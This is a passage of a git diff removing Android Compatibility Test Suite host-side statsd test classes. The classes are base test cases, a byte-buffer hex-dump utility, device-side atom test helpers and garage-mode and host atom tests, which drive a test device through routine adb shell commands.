-     * Returns the upper bound of active SIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveSimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
-        return Math.toIntExact(count);
-    }
-
-    /**
-     * Returns the upper bound of active eSIM profile count.
-     *
-     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
-     */
-    protected int getActiveEsimCountUpperBound() throws Exception {
-        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
-        long count = slots.stream().filter(slot ->
-                "true".equals(slot.get("mActive"))
-                && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
-                && "true".equals(slot.get("mIsEuicc"))).count();
-        return Math.toIntExact(count);
-    }
-
-    protected boolean hasGsmPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump since they may or may not be present,
-        // which can make the test flaky
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
-                        String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
-    }
-
-    protected boolean hasCdmaPhone() throws Exception {
-        // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
-        return getTelephonyDumpEntries("Phone").stream()
-                .anyMatch(phone ->
-                        String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
-                        || String.format("%d", PHONE_TYPE_CDMA_LTE)
-                                .equals(phone.get("getPhoneType()")));
-    }
-
-    // Checks that a timestamp has been truncated to be a multiple of 5 min
-    protected void assertTimestampIsTruncated(long timestampNs) {
-        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
-        assertWithMessage("Timestamp is not truncated")
-                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
deleted file mode 100644
index 0c9921e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.validation.ValidationTestUtil;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.MessageLite;
-import com.google.protobuf.Parser;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-
-import javax.annotation.Nonnull;
-import javax.annotation.Nullable;
-
-// Largely copied from incident's ProtoDumpTestCase
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-
-    protected IBuildInfo mCtsBuild;
-
-    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        assertThat(mCtsBuild).isNotNull();
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    public IBuildInfo getBuild() {
-        return mCtsBuild;
-    }
-
-    /**
-     * Create and return {@link ValidationTestUtil} and give it the current build.
-     */
-    public ValidationTestUtil createValidationUtil() {
-        ValidationTestUtil util = new ValidationTestUtil();
-        util.setBuild(getBuild());
-        return util;
-    }
-
-    /**
-     * Call onto the device with an adb shell command and get the results of
-     * that as a proto of the given type.
-     *
-     * @param parser A protobuf parser object. e.g. MyProto.parser()
-     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
-     *
-     * @throws DeviceNotAvailableException If there was a problem communicating with
-     *      the test device.
-     * @throws InvalidProtocolBufferException If there was an error parsing
-     *      the proto. Note that a 0 length buffer is not necessarily an error.
-     */
-    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
-            throws DeviceNotAvailableException, InvalidProtocolBufferException {
-        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
-        getDevice().executeShellCommand(command, receiver);
-        if (false) {
-            CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
-                    + " for command: " + command + "\n"
-                    + BufferDebug.debugString(receiver.getOutput(), -1));
-        }
-        try {
-            return parser.parseFrom(receiver.getOutput());
-        } catch (Exception ex) {
-            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
-                    + command
-                    + BufferDebug.debugString(receiver.getOutput(), 16384));
-            throw ex;
-        }
-    }
-
-    /**
-     * Install a device side test package.
-     *
-     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
-     * @param grantPermissions whether to give runtime permissions.
-     */
-    protected void installPackage(String appFileName, boolean grantPermissions)
-            throws FileNotFoundException, DeviceNotAvailableException {
-        CLog.d("Installing app " + appFileName);
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        final String result = getDevice().installPackage(
-                buildHelper.getTestFile(appFileName), true, grantPermissions);
-        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
-            .that(result).isNull();
-    }
-
-    protected CompatibilityBuildHelper getBuildHelper() {
-        return new CompatibilityBuildHelper(mCtsBuild);
-    }
-
-    /**
-     * Run a device side test.
-     *
-     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
-     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
-     * @param testMethodName Test method name.
-     * @return {@link TestRunResult} of this invocation.
-     * @throws DeviceNotAvailableException
-     */
-    @Nonnull
-    protected TestRunResult runDeviceTests(@Nonnull String pkgName,
-            @Nullable String testClassName, @Nullable String testMethodName)
-            throws DeviceNotAvailableException {
-        if (testClassName != null && testClassName.startsWith(".")) {
-            testClassName = pkgName + testClassName;
-        }
-
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
-                pkgName, TEST_RUNNER, getDevice().getIDevice());
-        if (testClassName != null && testMethodName != null) {
-            testRunner.setMethodName(testClassName, testMethodName);
-        } else if (testClassName != null) {
-            testRunner.setClassName(testClassName);
-        }
-
-        CollectingTestListener listener = new CollectingTestListener();
-        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new Error("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-        if (result.getNumTests() == 0) {
-            throw new Error("No tests were run on the device");
-        }
-
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                    result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-
-        return result;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
deleted file mode 100644
index 2b35052..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import java.nio.charset.StandardCharsets;
-import java.util.Formatter;
-
-/**
- * Print utility for byte[].
- */
-public class BufferDebug {
-    private static final int HALF_WIDTH = 8;
-
-    /**
-     * Number of bytes represented per row in hex output.
-     */
-    public static final int WIDTH = HALF_WIDTH * 2;
-
-    /**
-     * Return a string suitable for debugging.
-     * - If the byte is printable as an ascii string, return that, in quotation marks,
-     *   with a newline at the end.
-     * - Otherwise, return the hexdump -C style output.
-     *
-     * @param buf the buffer
-     * @param max print up to _max_ bytes, or the length of the string. If max is 0,
-     *      print the whole contents of buf.
-     */
-    public static String debugString(byte[] buf, int max) {
-        if (buf == null) {
-            return "(null)";
-        }
-        if (buf.length == 0) {
-            return "(length 0)";
-        }
-
-        int len = max;
-        if (len <= 0 || len > buf.length) {
-            max = len = buf.length;
-        }
-
-        if (isPrintable(buf, len)) {
-            return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
-        } else {
-            return toHex(buf, len, max);
-        }
-    }
-
-    private static String toHex(byte[] buf, int len, int max) {
-        final StringBuilder str = new StringBuilder();
-
-        // All but the last row
-        int rows = len / WIDTH;
-        for (int row = 0; row < rows; row++) {
-            writeRow(str, buf, row * WIDTH, WIDTH, max);
-        }
-
-        // Last row
-        if (len % WIDTH != 0) {
-            writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
-        }
-
-        // Final len
-        str.append(String.format("%10d 0x%08x  ", buf.length, buf.length));
-        if (buf.length != max) {
-            str.append(String.format("truncated to %d 0x%08x", max, max));
-        }
-        str.append('\n');
-
-        return str.toString();
-    }
-
-    private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
-        final Formatter f = new Formatter(str);
-
-        // Start index
-        f.format("%10d 0x%08x  ", start, start);
-
-        // One past the last char we will print
-        int end = start + len;
-        // Number of missing caracters due to this being the last line.
-        int padding = 0;
-        if (start + WIDTH > max) {
-            padding = WIDTH - (end % WIDTH);
-            end = max;
-        }
-
-        // Hex
-        for (int i = start; i < end; i++) {
-            f.format("%02x ", buf[i]);
-            if (i == start + HALF_WIDTH - 1) {
-                str.append(" ");
-            }
-        }
-        for (int i = 0; i < padding; i++) {
-            str.append("   ");
-        }
-        if (padding >= HALF_WIDTH) {
-            str.append(" ");
-        }
-
-        str.append("  ");
-        for (int i = start; i < end; i++) {
-            byte b = buf[i];
-            if (isPrintable(b)) {
-                str.append((char)b);
-            } else {
-                str.append('.');
-            }
-            if (i == start + HALF_WIDTH - 1) {
-                str.append("  ");
-            }
-        }
-
-        str.append('\n');
-    }
-
-    private static boolean isPrintable(byte[] buf, int len) {
-        for (int i=0; i<len; i++) {
-            if (!isPrintable(buf[i])) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    private static boolean isPrintable(byte c) {
-        return c >= 0x20 && c <= 0x7e;
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
deleted file mode 100644
index 035160f..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ /dev/null
@@ -1,323 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MessageMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
- */
-public class DeviceAtomTestCase extends AtomTestCase {
-
-    public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
-    public static final String DEVICE_SIDE_TEST_PACKAGE =
-            "com.android.server.cts.device.statsd";
-    public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
-    public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
-            "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
-    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
-            "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
-    public static final long DEVICE_SIDE_TEST_PKG_HASH =
-            Long.parseUnsignedLong("15694052924544098582");
-
-    // Constants from device side tests (not directly accessible here).
-    public static final String KEY_ACTION = "action";
-    public static final String ACTION_LMK = "action.lmk";
-
-    public static final String CONFIG_NAME = "cts_config";
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        installTestApp();
-        Thread.sleep(1000);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-        super.tearDown();
-    }
-
-    /**
-     * Performs a device-side test by calling a method on the app and returns its stats events.
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param atom atom tag (from atoms.proto)
-     * @param key atom's field corresponding to state
-     * @param stateOn 'on' value
-     * @param stateOff 'off' value
-     * @param minTimeDiffMs max allowed time between start and stop
-     * @param maxTimeDiffMs min allowed time between start and stop
-     * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
-     * @return list of events with the app's uid matching the configuration defined by the params.
-     */
-    protected List<EventMetricData> doDeviceMethodOnOff(
-            String methodName, int atom, int key, int stateOn, int stateOff,
-            int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
-        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
-        List<EventMetricData> data = doDeviceMethod(methodName, conf);
-
-        if (demandExactlyTwo) {
-            assertThat(data).hasSize(2);
-        } else {
-            assertThat(data.size()).isAtLeast(2);
-        }
-        assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
-        return data;
-    }
-
-    /**
-     *
-     * @param methodName the name of the method in the app's AtomTests to perform
-     * @param cfg statsd configuration
-     * @return list of events with the app's uid matching the configuration.
-     */
-    protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
-            throws Exception {
-        removeConfig(CONFIG_ID);
-        getReportList();  // Clears previous data on disk.
-        uploadConfig(cfg);
-        int appUid = getUid();
-        LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
-
-        return getEventMetricDataList();
-    }
-
-    protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
-        StatsdConfig.Builder conf = createConfigBuilder();
-        addAtomEvent(conf, atomTag, useAttribution);
-        uploadConfig(conf);
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the given key AND has the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param fvm FieldValueMatcher.Builder for the relevant key
-     */
-    @Override
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
-            throws Exception {
-
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
-        addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
-    }
-
-    /**
-     * Adds an event to the config for an atom that matches the app's uid.
-     * @param conf configuration
-     * @param atomTag atom tag (from atoms.proto)
-     * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
-     * has a uid but not in an attribution node.
-     */
-    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
-            boolean useAttribution) throws Exception {
-        final int UID_KEY = 1;
-        FieldValueMatcher.Builder fvmUid;
-        if (useAttribution) {
-            fvmUid = createAttributionFvm(UID_KEY);
-        } else {
-            fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
-        }
-        addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
-    }
-
-    /**
-     * Creates a FieldValueMatcher for atoms that use AttributionNode
-     */
-    protected FieldValueMatcher.Builder createAttributionFvm(int field) {
-        final int ATTRIBUTION_NODE_UID_KEY = 1;
-        return createFvm(field).setPosition(Position.ANY)
-                .setMatchesTuple(MessageMatcher.newBuilder()
-                        .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
-                                .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
-    }
-
-    /**
-     * Gets the uid of the test app.
-     */
-    protected int getUid() throws Exception {
-        int currentUser = getDevice().getCurrentUser();
-        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
-                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
-        String[] uidLineParts = uidLine.split(":");
-        // 3rd entry is package uid
-        assertThat(uidLineParts.length).isGreaterThan(2);
-        int uid = Integer.parseInt(uidLineParts[2].trim());
-        assertThat(uid).isGreaterThan(10000);
-        return uid;
-    }
-
-    /**
-     * Installs the test apk.
-     */
-    protected void installTestApp() throws Exception {
-        installPackage(DEVICE_SIDE_TEST_APK, true);
-        LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
-        allowBackgroundServices();
-    }
-
-    /**
-     * Uninstalls the test apk.
-     */
-    protected void uninstallPackage() throws Exception{
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-    }
-
-    /**
-     * Required to successfully start a background service from adb in O.
-     */
-    protected void allowBackgroundServices() throws Exception {
-        getDevice().executeShellCommand(String.format(
-                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
-    }
-
-    /**
-     * Runs a (background) service to perform the given action.
-     * @param actionValue the action code constants indicating the desired action to perform.
-     */
-    protected void executeBackgroundService(String actionValue) throws Exception {
-        allowBackgroundServices();
-        getDevice().executeShellCommand(String.format(
-                "am startservice -n '%s' -e %s %s",
-                DEVICE_SIDE_BG_SERVICE_COMPONENT,
-                KEY_ACTION, actionValue));
-    }
-
-
-    /** Make the test app standby-active so it can run syncs and jobs immediately. */
-    protected void allowImmediateSyncs() throws Exception {
-        getDevice().executeShellCommand("am set-standby-bucket "
-                + DEVICE_SIDE_TEST_PACKAGE + " active");
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
-    }
-
-    /**
-     * Runs the specified activity.
-     */
-    protected void runActivity(String activity, String actionKey, String actionValue,
-            long waitTime) throws Exception {
-        try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
-            Thread.sleep(waitTime);
-        }
-    }
-
-    /**
-     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
-     * when closed.
-     *
-     * <p>Example usage:
-     * <pre>
-     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
-     *         doStuff();
-     *     }
-     * </pre>
-     */
-    protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
-            throws Exception {
-        String intentString = null;
-        if (actionKey != null && actionValue != null) {
-            intentString = actionKey + " " + actionValue;
-        }
-        if (intentString == null) {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
-        } else {
-            getDevice().executeShellCommand(
-                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
-                            intentString);
-        }
-        return () -> {
-            getDevice().executeShellCommand(
-                    "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(WAIT_TIME_SHORT);
-        };
-    }
-
-    protected void resetBatteryStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys batterystats --reset");
-    }
-
-    protected void clearProcStats() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --clear");
-    }
-
-    protected void startProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --start-testing");
-    }
-
-    protected void stopProcStatsTesting() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
-    }
-
-    protected void commitProcStatsToDisk() throws Exception {
-        getDevice().executeShellCommand("dumpsys procstats --commit");
-    }
-
-    protected void rebootDeviceAndWaitUntilReady() throws Exception {
-        rebootDevice();
-        // Wait for 2 mins.
-        assertWithMessage("Device failed to boot")
-            .that(getDevice().waitForBootComplete(120_000)).isTrue();
-        assertWithMessage("Stats service failed to start")
-            .that(waitForStatsServiceStart(60_000)).isTrue();
-        Thread.sleep(2_000);
-    }
-
-    protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
-        LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
-        int counter = 1;
-        long startTime = System.currentTimeMillis();
-        while ((System.currentTimeMillis() - startTime) < waitTime) {
-            if ("running".equals(getProperty("init.svc.statsd"))) {
-                return true;
-            }
-            Thread.sleep(Math.min(200 * counter, 2_000));
-            counter++;
-        }
-        LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
-        return false;
-    }
-
-    boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
-        final String output = getDevice().executeShellCommand(
-                "settings get global netstats_combine_subtype_enabled").trim();
-        return output.equals("1");
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
deleted file mode 100644
index ee86f01c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.List;
-
-/**
- * Verifies that Automotive's Garage Mode reports its status.
- * Statsd atom tests are done via adb (hostside).
- */
-public class GarageModeAtomTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.GarageModeAtomTests";
-    private static final int SHORT_SLEEP = 100; // Milliseconds
-    private static final int TRY_LIMIT = WAIT_TIME_SHORT / SHORT_SLEEP;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testGarageModeOnOff() throws Exception {
-        if (!hasFeature(FEATURE_AUTOMOTIVE, true)) {
-            return;
-        }
-
-        final int atomTag = Atom.GARAGE_MODE_INFO_FIELD_NUMBER;
-        createAndUploadConfig(atomTag);
-
-        // Flush any old metrics
-        List<EventMetricData> data = getEventMetricDataList();
-
-        turnOnGarageMode();
-        waitForGarageModeState(true);
-
-        turnOffGarageMode();
-        waitForGarageModeState(false);
-    }
-
-    private void turnOnGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode on");
-    }
-    private void turnOffGarageMode() throws Exception {
-        getDevice().executeShellCommand("cmd car_service garage-mode off");
-    }
-
-    private void waitForGarageModeState(boolean requiredState) throws Exception {
-        for (int tryCount = 0; tryCount < TRY_LIMIT; tryCount++) {
-            List<EventMetricData> data = getEventMetricDataList();
-            for (EventMetricData d : data) {
-                boolean isGarageMode = d.getAtom().getGarageModeInfo().getIsGarageMode();
-                if (isGarageMode == requiredState) {
-                    return;
-                }
-            }
-            Thread.sleep(SHORT_SLEEP);
-        }
-        assertTrue("Did not receive an atom with Garage Mode "
-                   + (requiredState ? "ON" : "OFF"), false);
-    }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
deleted file mode 100644
index ee6f324..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ /dev/null
@@ -1,699 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatusEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.server.DeviceIdleModeEnum;
-import android.view.DisplayStateEnum;
-import android.telephony.NetworkTypeEnum;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.BatterySaverModeStateChanged;
-import com.android.os.AtomsProto.BuildInformation;
-import com.android.os.AtomsProto.ConnectivityStateChanged;
-import com.android.os.AtomsProto.SimSlotState;
-import com.android.os.AtomsProto.SupportedRadioAccessFamily;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.EventMetricData;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Statsd atom tests that are done via adb (hostside).
- */
-public class HostAtomTests extends AtomTestCase {
-
-    private static final String TAG = "Statsd.HostAtomTests";
-
-    // Either file must exist to read kernel wake lock stats.
-    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
-    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
-
-    // Bitmask of radio access technologies that all GSM phones should at least partially support
-    protected static final long NETWORK_TYPE_BITMASK_GSM_ALL =
-            (1 << (NetworkTypeEnum.NETWORK_TYPE_GSM_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_GPRS_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EDGE_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_UMTS_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSDPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSUPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_HSPAP_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_TD_SCDMA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_LTE_CA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_NR_VALUE - 1));
-    // Bitmask of radio access technologies that all CDMA phones should at least partially support
-    protected static final long NETWORK_TYPE_BITMASK_CDMA_ALL =
-            (1 << (NetworkTypeEnum.NETWORK_TYPE_CDMA_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_1XRTT_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_0_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EVDO_A_VALUE - 1))
-            | (1 << (NetworkTypeEnum.NETWORK_TYPE_EHRPD_VALUE - 1));
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
-
-    public void testScreenStateChangedAtom() throws Exception {
-        // Setup, make sure the screen is off and turn off AoD if it is on.
-        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
-        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
-        String aodState = getAodState();
-        setAodState("0");
-        turnScreenOn();
-        Thread.sleep(WAIT_TIME_SHORT);
-        turnScreenOff();
-        Thread.sleep(WAIT_TIME_SHORT);
-
